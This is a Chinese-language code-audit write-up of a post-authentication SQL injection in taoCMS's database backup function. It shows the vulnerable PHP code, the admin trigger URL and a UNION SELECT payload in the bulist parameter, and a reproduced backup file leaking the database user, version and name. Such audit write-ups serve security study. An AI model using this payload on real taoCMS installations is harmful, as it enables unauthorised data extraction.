PHP-代码审计项目-taoCMS-后台注入

本文最后更新于 2024年10月21日 晚上

环境搭建

  • 我用的是 phpstudy2018+php-5.4.45+Apache

image

白盒审计

手工审计

审计思路选择

由于功能点太多了,于是果断pass掉功能点审计法与SQL语句监控法,因为功能点太多,那么需要触发的SQL语句也会很多,一时半会还真不好找,于是我选择正则表达式审计法

image

1
(?:SELECT|INSERT INTO|UPDATE|DELETE FROM|CREATE TABLE|DROP TABLE|ALTER TABLE)\b[\s\S]*?;

image

一共匹配到的有效SQL语句也就30来条左右,通过简单看看这些SQL语句,又可以排除大部分明显不可控的固定的SQL语句,那么剩下的就一条一条验证看是否可控

最终觉得 **\include\Model\Datastore.php **这个文件中的一处SQL语句有点可疑

开始着重审计

审计过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function create(){
header('Content-type: application/txt');
header('Content-Disposition: attachment; filename="backup-'.date('Y-m-d').'.sql"');
$backups='';
$bulist=explode('|',$_GET['bulist']);
foreach($bulist as $bus){
$addsql=($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:'';
$sql='select *from '.TB.$bus.$addsql;
$o=$this->db->query($sql);
while($data=$this->db->fetch_array($o)){
$colums='';
$datas='';
foreach($data as $key=>$v){
$colums.=$key.',';
$datas.="'".Base::safeword($v)."',";
}
$backups.= 'REPLACE INTO '.TB.$bus.' ('.substr($colums,0,-1).') VALUES('.substr($datas,0,-1).');'."\n";
}
}
echo substr($backups,0,-2);
}

这段代码的功能就是

通过 GET 获取 bulist 参数的值 (以”|”分割的字符串,子字符串其实就是表名)

对 bulist 参数的值使用explode函数进行分割,得到每一个表名

然后遍历每一个表名,读取其所有数据

并写入到 backup-xxxxx.sql 中供用户下载

简而言之,就是一个数据库的备份功能

但这里并没有对 bulist 的值进行任何过滤,且bulist值用户可控,直接被拼接到表名的位置执行SQL语句

最终导致了 SQL 注入的发生

黑盒触发

根据源码架构,可以看出是MVC架构,那么,Model是datastore.php,方法是create

查看后台首页地址是: /admin/admin.php?action=frame&ctrl=iframes

那么触发的地址应该是:?action=datastore&ctrl=create&bulist=xxxxxxx

或者根据功能点去找,因为这是备份功能,那么就去翻找有备份字眼的功能点

image

ok,到此就找到了黑盒触发点了

漏洞复现

hackbar发包

payload

1
bulist=admin union select (user()),(version()),(database()),4,5,6,7,8

image

成功下载备份文件

打开看看

1
2
REPLACE INTO cms_admin union select (user()),(version()),(database()),4,5,6,7,8 (id,name,emails,passwd,auth,times,ips,status) VALUES('2','admin','','tao','admin','','','1');
REPLACE INTO cms_admin union select (user()),(version()),(database()),4,5,6,7,8 (id,name,emails,passwd,auth,times,ips,status) VALUES('root@localhost','5.5.53','test','4','5','6','7','8')

成功注出数据!